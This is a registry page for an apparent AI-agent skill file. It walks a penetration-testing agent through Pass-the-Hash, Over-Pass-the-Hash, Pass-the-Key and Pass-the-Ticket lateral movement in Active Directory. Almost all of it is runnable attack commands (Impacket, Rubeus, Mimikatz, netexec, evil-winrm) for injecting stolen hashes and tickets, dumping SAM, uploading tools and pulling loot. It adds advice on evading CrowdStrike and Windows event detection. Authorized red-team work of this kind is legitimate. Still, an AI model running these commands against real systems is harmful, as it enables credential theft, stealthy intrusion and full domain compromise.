blacklanternsecurity

pass-the-hash

Authenticates to AD services using NTLM hashes, AES keys, or Kerberos tickets without cracking passwords. Covers Pass-the-Hash, Over-Pass-the-Hash, Pass-the-Key, and Pass-the-Ticket for lateral movement.

blacklanternsecurity 208 24 Updated 3mo ago
GitHub

Install

npx skillscat add blacklanternsecurity/red-run/pass-the-hash

Install via the SkillsCat registry.

SKILL.md

Pass the Hash / Over-Pass-the-Hash / Pass the Key / Pass the Ticket

You are helping a penetration tester use credential material (NTLM hashes,
AES keys, or Kerberos tickets) for lateral movement without knowing cleartext
passwords. All testing is under explicit written authorization.

Kerberos-first authentication: This skill defaults to converting credential
material into Kerberos tickets (Over-Pass-the-Hash / Pass-the-Key) rather than
using NTLM directly. Direct Pass-the-Hash is the last resort due to heavy
detection (Event 4776, CrowdStrike Identity Module PTH signatures).

Engagement Logging

Check for ./engagement/ directory. If absent, proceed without logging.

When an engagement directory exists:

  • Print [pass-the-hash] Activated → <target> to the screen on activation.
  • Evidence → save significant output to engagement/evidence/ with
    descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).

Do NOT write to engagement/activity.md, engagement/findings.md, or
engagement state. The orchestrator maintains these files. Report all findings
in your return summary.

State Management

Call get_state_summary() from the state-reader MCP server to read current
engagement state. Use it to:

  • Skip re-testing targets, parameters, or vulns already confirmed
  • Leverage existing credentials or access for this technique
  • Understand what's been tried and failed (check Blocked section)

Do NOT write engagement state. When your work is complete, report all
findings clearly in your return summary. The orchestrator parses your summary
and records state changes. Your return summary must include:

  • New targets/hosts discovered (with ports and services)
  • New credentials or tokens found
  • Access gained or changed (user, privilege level, method)
  • Vulnerabilities confirmed (with status and severity)
  • Pivot paths identified (what leads where)
  • Blocked items (what failed and why, whether retryable)

Prerequisites

  • Credential material: NTLM hash, AES128/AES256 key, or Kerberos ticket (.ccache/.kirbi)
  • Network access to target host(s)
  • Tools: Impacket suite, netexec (nxc), optionally Rubeus, mimikatz,
    evil-winrm

Kerberos-first workflow (default for all techniques):

# Convert hash/key to TGT first, then use Kerberos for everything
getTGT.py DOMAIN/user@DC.DOMAIN.LOCAL -hashes :NTHASH
# or with AES key (most OPSEC-safe)
getTGT.py DOMAIN/user@DC.DOMAIN.LOCAL -aesKey AES256_KEY

export KRB5CCNAME=user.ccache

# All lateral movement uses -k -no-pass from here
psexec.py DOMAIN/user@TARGET.DOMAIN.LOCAL -k -no-pass

Step 1: Assess Credential Material

Determine what you have and choose the appropriate technique:

Material Technique OPSEC Go To
AES256 key Pass-the-Key LOW — matches normal Kerberos Step 2
AES128 key Pass-the-Key LOW — matches normal Kerberos Step 2
NTLM hash Over-Pass-the-Hash MEDIUM — RC4 etype is anomalous Step 3
.ccache / .kirbi ticket Pass-the-Ticket LOW — reusing real ticket Step 4
NTLM hash + no Kerberos Direct Pass-the-Hash HIGH — NTLM auth, heavily monitored Step 5

Always prefer AES keys > tickets > OPTH > direct PTH.

Step 2: Pass-the-Key (AES — Most OPSEC-Safe)

Use AES keys to request a TGT. This generates Event 4768 with encryption
type 0x12 (AES256) or 0x11 (AES128) — indistinguishable from normal
Windows authentication.

Impacket (Linux)

# AES256 key -> TGT
getTGT.py DOMAIN/user@DC.DOMAIN.LOCAL \
  -aesKey 2ef70e1ff0d18df08df04f272df3f9f93b707e89bdefb95039cddbadb7c6c574

export KRB5CCNAME=user.ccache

# Now use Kerberos auth for lateral movement
psexec.py DOMAIN/user@TARGET.DOMAIN.LOCAL -k -no-pass
smbexec.py DOMAIN/user@TARGET.DOMAIN.LOCAL -k -no-pass
wmiexec.py DOMAIN/user@TARGET.DOMAIN.LOCAL -k -no-pass

Rubeus (Windows)

# AES256 with /opsec flag — mimics legitimate Windows behavior
.\Rubeus.exe asktgt /user:Administrator /domain:DOMAIN.LOCAL \
  /aes256:2ef70e1ff0d18df08df04f272df3f9f93b707e89bdefb95039cddbadb7c6c574 \
  /opsec /ptt /nowrap

# AES128
.\Rubeus.exe asktgt /user:Administrator /domain:DOMAIN.LOCAL \
  /aes128:bc09f84dcb4eabccb981a9f265035a72 /ptt /nowrap

# Verify ticket is loaded
klist

Step 3: Over-Pass-the-Hash (NTLM -> Kerberos TGT)

Convert an NTLM hash into a Kerberos TGT. The TGT request uses RC4 encryption
(etype 23), which is anomalous in AES-hardened domains but still better
than direct NTLM authentication.

Impacket (Linux) — Preferred

# NTLM hash -> TGT
getTGT.py DOMAIN/user@DC.DOMAIN.LOCAL -hashes :NTHASH

# Full LM:NT format also works
getTGT.py DOMAIN/user@DC.DOMAIN.LOCAL \
  -hashes aad3b435b51404eeaad3b435b51404ee:NTHASH

export KRB5CCNAME=user.ccache

# Verify ticket
klist -c user.ccache

# Lateral movement via Kerberos
psexec.py DOMAIN/user@TARGET.DOMAIN.LOCAL -k -no-pass
smbexec.py DOMAIN/user@TARGET.DOMAIN.LOCAL -k -no-pass
wmiexec.py DOMAIN/user@TARGET.DOMAIN.LOCAL -k -no-pass

Alternative: ktutil + kinit (Native Kerberos)

ktutil -k ~/mykeys add -p user@DOMAIN.LOCAL -e arcfour-hmac-md5 \
  -w NTHASH --hex -V 5
kinit -t ~/mykeys user@DOMAIN.LOCAL
klist

Rubeus (Windows)

# NTLM hash -> TGT injected into current session
.\Rubeus.exe asktgt /user:Administrator /domain:DOMAIN.LOCAL \
  /rc4:NTHASH /ptt /nowrap

# Create sacrificial process with the ticket (avoids overwriting current TGT)
.\Rubeus.exe asktgt /user:Administrator /domain:DOMAIN.LOCAL \
  /rc4:NTHASH /createnetonly:C:\Windows\System32\cmd.exe /show

# Then lateral movement
.\PsExec.exe -accepteula \\TARGET.DOMAIN.LOCAL cmd

Mimikatz (Windows)

# Spawns a new process with the hash injected
sekurlsa::pth /user:Administrator /domain:DOMAIN.LOCAL /ntlm:NTHASH

OPSEC Note

Over-Pass-the-Hash generates Event 4768 with encryption type 0x17 (RC4).
In domains where AES is enforced, RC4 TGT requests are a high-fidelity
detection indicator. If AES keys are available, use Pass-the-Key (Step 2) instead.

Step 4: Pass-the-Ticket (Inject Existing Ticket)

Use when you have a stolen or forged Kerberos ticket (.ccache or .kirbi).

Ticket Format Conversion

# ccache -> kirbi (for use on Windows)
python ticket_converter.py user.ccache user.kirbi

# kirbi -> ccache (for use on Linux)
python ticket_converter.py user.kirbi user.ccache

# Impacket ticketConverter
ticketConverter.py user.kirbi user.ccache
ticketConverter.py user.ccache user.kirbi

Linux — ccache

# Set the ccache file
export KRB5CCNAME=/path/to/ticket.ccache

# Verify
klist

# Use with any Kerberos-aware tool
psexec.py DOMAIN/user@TARGET.DOMAIN.LOCAL -k -no-pass
smbexec.py DOMAIN/user@TARGET.DOMAIN.LOCAL -k -no-pass
wmiexec.py DOMAIN/user@TARGET.DOMAIN.LOCAL -k -no-pass

# NetExec
nxc smb TARGET.DOMAIN.LOCAL --use-kcache -x "whoami"

Windows — kirbi

# Rubeus — inject ticket
.\Rubeus.exe ptt /ticket:user.kirbi

# Mimikatz — inject ticket
kerberos::ptt user.kirbi

# Verify
klist

# Lateral movement
.\PsExec.exe -accepteula \\TARGET.DOMAIN.LOCAL cmd
dir \\TARGET.DOMAIN.LOCAL\C$

OPSEC Note

Pass-the-Ticket is pure Kerberos and avoids NTLM detection entirely. It's
hard to detect because you're reusing a legitimate ticket. The main risk is
that the ticket may be logged as coming from an unexpected source IP.

Step 5: Direct Pass-the-Hash (NTLM — Last Resort)

Use only when Kerberos is unavailable (e.g., no access to port 88, target
not joined to domain, or NTLM-only service). This triggers Event 4776
and CrowdStrike Identity Module PTH signatures.

NetExec

# SMB with NTLM hash
nxc smb TARGET -u Administrator -H 'aad3b435b51404ee:NTHASH' -d DOMAIN.LOCAL -x "whoami"

# Check for local admin (Pwn3d!)
nxc smb 10.10.10.0/24 -u Administrator -H ':NTHASH' -d DOMAIN.LOCAL

# Local authentication (non-domain)
nxc smb TARGET -u Administrator -H ':NTHASH' --local-auth

Impacket (Direct Hash Auth)

# psexec — creates a service (noisy)
psexec.py DOMAIN/Administrator@TARGET -hashes :NTHASH

# smbexec — creates a service (slightly less noisy)
smbexec.py DOMAIN/Administrator@TARGET -hashes :NTHASH

# wmiexec — WMI-based (less artifacts)
wmiexec.py DOMAIN/Administrator@TARGET -hashes :NTHASH

# atexec — Task Scheduler
atexec.py DOMAIN/Administrator@TARGET -hashes :NTHASH 'whoami'

# dcomexec — DCOM objects
dcomexec.py DOMAIN/Administrator@TARGET -hashes :NTHASH

Mimikatz (Spawn Process)

# Spawns cmd.exe with NTLM hash injected into logon session
sekurlsa::pth /user:Administrator /domain:DOMAIN.LOCAL /ntlm:NTHASH

PTH for RDP (Restricted Admin Mode)

# Mimikatz — RDP with hash (target must have RestrictedAdmin enabled)
sekurlsa::pth /user:Administrator /domain:DOMAIN.LOCAL /ntlm:NTHASH /run:"mstsc.exe /restrictedadmin"
# Enable Restricted Admin remotely (requires admin access)
nxc smb TARGET -u Administrator -H ':NTHASH' -x 'reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 0 /f'

# Then connect with xfreerdp
xfreerdp /u:Administrator /pth:NTHASH /v:TARGET /d:DOMAIN.LOCAL

OPSEC Warning

Direct PTH is the most detectable technique:

  • Event 4776 (NTLM credential validation)
  • Event 4624 type 3 (network logon)
  • CrowdStrike Identity Module flags PTH patterns
  • psexec creates a service (Event 7045) — very noisy
  • Prefer wmiexec over psexec if you must use NTLM

Step 6: Lateral Movement

After establishing authentication (via any method above), use these tools
for command execution and access.

Impacket Suite (All support -k -no-pass and -hashes)

Tool Protocol Noise Level Notes
psexec.py SMB (service) High Creates/starts a service
smbexec.py SMB (service) High Similar to psexec
wmiexec.py WMI/DCOM Medium No service creation
atexec.py Task Scheduler Medium Creates scheduled task
dcomexec.py DCOM Medium Various DCOM objects
# Preferred: wmiexec with Kerberos (lowest noise)
wmiexec.py DOMAIN/user@TARGET.DOMAIN.LOCAL -k -no-pass

# Semi-interactive shell
smbexec.py DOMAIN/user@TARGET.DOMAIN.LOCAL -k -no-pass

# Execute single command
atexec.py DOMAIN/user@TARGET.DOMAIN.LOCAL -k -no-pass 'whoami /all'

NetExec (Multi-Purpose)

# Command execution
nxc smb TARGET.DOMAIN.LOCAL --use-kcache -x "whoami"

# Module execution
nxc smb TARGET.DOMAIN.LOCAL --use-kcache -M mimikatz

# SAM dump (if local admin)
nxc smb TARGET.DOMAIN.LOCAL --use-kcache --sam

# Share enumeration
nxc smb TARGET.DOMAIN.LOCAL --use-kcache --shares

Evil-WinRM (WinRM Shell — Port 5985/5986)

# With password
evil-winrm -i TARGET.DOMAIN.LOCAL -u Administrator -p 'Password123'

# With hash
evil-winrm -i TARGET.DOMAIN.LOCAL -u Administrator -H NTHASH

Via start_process (preferred for persistent sessions):

# Spawn evil-winrm in a persistent PTY
start_process(command="evil-winrm -i TARGET -u Administrator -H NTHASH", label="ewrm-target")

# Interact via send_command
send_command(session_id=..., command="whoami")

File transfer via evil-winrm (preferred on Windows): Evil-WinRM's built-in
upload and download commands are more reliable than SMB file transfer for
moving tools, scripts, and loot to/from Windows targets:

# Upload tools to target
send_command(session_id=..., command="upload /opt/tools/SharpHound.exe C:\\Windows\\Temp\\SharpHound.exe")

# Download loot
send_command(session_id=..., command="download C:\\Users\\Administrator\\Desktop\\root.txt ./root.txt")

Impacket via start_process

For interactive Impacket shells (psexec.py, wmiexec.py, smbexec.py), use
start_process to maintain session persistence:

# Interactive psexec shell (port 445)
start_process(command="psexec.py DOMAIN/user@TARGET -k -no-pass", label="psexec-target")

# Interactive wmiexec shell (port 135 — less noisy)
start_process(command="wmiexec.py DOMAIN/user@TARGET -k -no-pass", label="wmiexec-target")

# With hash directly
start_process(command="wmiexec.py DOMAIN/Administrator@TARGET -hashes :NTHASH", label="wmiexec-target")

Verify Access

# Check what you can access
nxc smb 10.10.10.0/24 --use-kcache
# (Pwn3d!) = local admin

# List shares
nxc smb TARGET.DOMAIN.LOCAL --use-kcache --shares

# Check who you are
wmiexec.py DOMAIN/user@TARGET.DOMAIN.LOCAL -k -no-pass 'whoami /all'

Step 7: Escalate or Pivot

After successful lateral movement:

  • Local admin on target: Route to credential-dumping for SAM, LSASS,
    cached creds. Extract hashes and continue lateral movement.
  • Domain admin access: Route to credential-dumping (DCSync) for full
    domain compromise.
  • Found AES keys in LSASS: Switch from OPTH to Pass-the-Key for better OPSEC.
  • Service account with delegation: Route to kerberos-delegation.
  • ADCS enrollment possible: Route to adcs-template-abuse for certificate
    persistence.
  • Need domain persistence: Route to ad-persistence or
    kerberos-ticket-forging (Golden Ticket).
  • Access to additional subnets: Update state.md and route to
    ad-discovery for new scope.

When routing, pass: current credentials/tickets, target host, access level,
domain info, and mode.

Stall Detection

If you have spent 5 or more tool-calling rounds on the same failure with
no meaningful progress — same error, no new information, no change in output
stop.

What counts as progress:

  • Trying a variant or alternative documented in this skill
  • Adjusting syntax, flags, or parameters per the Troubleshooting section
  • Gaining new diagnostic information (different error, partial success)

What does NOT count as progress:

  • Writing custom exploit code not provided in this skill
  • Inventing workarounds using techniques from other domains
  • Retrying the same command with trivially different input
  • Compiling or transferring tools not mentioned in this skill

If you find yourself writing code that isn't in this skill, you have left
methodology. That is a stall.

Do not loop. Work through failures systematically:

  1. Try each variant or alternative once
  2. Check the Troubleshooting section for known fixes
  3. If nothing works after 5 rounds, you are stalled

When stalled, return to the orchestrator immediately with:

  • What was attempted (commands, variants, alternatives tried)
  • What failed and why (error messages, empty responses, timeouts)
  • Assessment: blocked (permanent — config, patched, missing prereq) or
    retry-later (may work with different context, creds, or access)

When stalled: Tell the user you're stalled, present what was tried, and
recommend the next best path. Return findings to the orchestrator — it will
decide whether to revisit with new context or route elsewhere.

Troubleshooting

KRB_AP_ERR_SKEW (Clock Skew)

Kerberos requires clocks within 5 minutes of the DC. This is a Clock Skew
Interrupt
— stop immediately and return to the orchestrator. Do not retry or
fall back to NTLM. The fix requires root:

sudo ntpdate DC_IP
# or
sudo rdate -n DC_IP

KDC Cannot Find the Name / PyAsn1Error

  • Use FQDN hostnames, not IP addresses. Kerberos requires proper DNS.
  • Add entries to /etc/hosts if DNS doesn't resolve:
    10.10.10.10  DC01.DOMAIN.LOCAL DOMAIN.LOCAL
  • Update Impacket if you see PyAsn1Error — older versions have encoding bugs.

PTH Fails with STATUS_LOGON_FAILURE

  • Verify the hash is correct (try against the source machine first)
  • Since Windows Vista, PTH to local admin accounts is blocked unless the
    account is the builtin RID 500 Administrator (UAC remote restriction)
  • Try --local-auth with NetExec for local accounts
  • Non-RID-500 local admins need the LocalAccountTokenFilterPolicy registry
    key set to 1

Ticket Expired

  • Kerberos TGTs have a default lifetime of 10 hours
  • Re-request with getTGT.py if expired
  • Check with klist -c ticket.ccache to see expiration

Evil-WinRM Connection Refused

  • Port 5985 (HTTP) or 5986 (HTTPS) must be open
  • WinRM may not be enabled on all hosts
  • Try nxc winrm TARGET to check availability first

OPSEC Comparison Summary

Technique Auth Protocol Detection Event EDR Risk
Pass-the-Key (AES256) Kerberos 4768 (etype 0x12) LOW
Pass-the-Ticket Kerberos — (reuse existing) LOW
Over-Pass-the-Hash (RC4) Kerberos 4768 (etype 0x17) MEDIUM
Direct PTH NTLM 4776, 4624 type 3 HIGH
psexec lateral SMB 7045 (service created) VERY HIGH
wmiexec lateral WMI/DCOM 4688 (process created) MEDIUM